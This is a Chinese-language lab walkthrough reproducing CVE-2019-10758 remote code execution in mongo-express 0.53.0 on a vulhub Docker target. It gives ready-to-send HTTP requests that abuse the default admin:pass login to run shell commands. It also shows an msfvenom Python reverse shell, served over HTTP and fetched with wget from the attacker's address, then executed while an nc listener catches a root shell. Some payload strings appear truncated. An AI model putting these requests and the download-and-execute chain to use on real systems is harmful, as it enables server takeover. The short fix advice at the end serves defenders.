mongo-express远程代码执⾏(CVE-2019-10758)漏洞复现(msfve。。。mongo-express
mongo-express是⼀个MongoDB的Admin Web管理界⾯,基于NodeJS、Express、Bootstrap3开源编写
漏洞介绍
在开启了端⼝8081后,攻击者可以直接访问,⽽⽬标服务器上没有修改默认的登录密码admin/pass,则攻击者可以远程执⾏node.js代码复现环境
mongo-express 0.53.0
MongoDB Version 3.4.24
漏洞环境搭建
采⽤github开源docker漏洞环境搭建⽽成
项⽬地址:
github/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758
进⼊具体漏洞环境,执⾏如下命令启动⼀个0.53.0版本的mongo-express:
cd vulhub-master/mango-express/CVE-2019-10758
docker-compose build
docker-compose up -d
启动成功后,访问
ip:8081
出现如下界⾯表⽰搭建成功
漏洞复现
创建⽬录
抓包发送如下数据包执⾏代码,在tmp⽬录下创建success⽬录
POST /checkValid HTTP/1.1
Host: 192.168.0.113:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
structor("return process")().quire("child_process").execSync("touch /tmp/success")
其中Authorization: Basic YWRtaW46cGFzcw== 经base64解码为Authorization:
Basic admin:pass
通过BurpSuite进⾏抓包,发送如下数据包
进⼊docker中创建的web环境中查看/tmp/⽬录,可以发现成功创建了success⽬录
docker-compose exec web ls /tmp
或者获取⼀个bash shell
docker-compose exec web /bin/bash
执⾏命令反弹shell
思路:
在kali上使⽤msf⽣成⼀个反弹shell.py,开启pythonHTTP服务器供靶机下载
靶机上,通过wget下载shell.py,在利⽤命令执⾏漏洞执⾏这个⽂件,反弹⼀个shell给kali
操作步骤
kali上
因为知道靶机web环境中存在python环境,所以创建⼀个python的反弹shell
msfvenom -p cmd/unix/reverse_python LHOST=192.168.0.109 LPORT=4444 -f raw > shell.py
运⾏python HTTP服务器,攻击者将从此服务器上下载shell.py
python -m SimpleHTTPServer
靶机上
攻击者执⾏命令,下载Python服务器上的shell.py,保存/tmp/shell
poc如下
POST /checkValid HTTP/1.1
Host: 192.168.0.113:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
structor("return process")().quire("child_process").execSync("wget 192.168.0.109:8000/shell.py -O /tmp /shell")
下载成功
kali上监听4444端⼝
nc -lvp 4444
再次发包命令执⾏,执⾏shell⽂件
POST /checkValid HTTP/1.1
Host: 192.168.0.113:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
structor("return process")().quire("child_process").execSync("bash /tmp/shell")
cve漏洞库反弹shell成功,获得的是root权限
修复建议
1.及时升级漏洞组件
2.不要使MongoExpres服务暴露在公⽹上
3.修改默认登录密码admin:pass
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论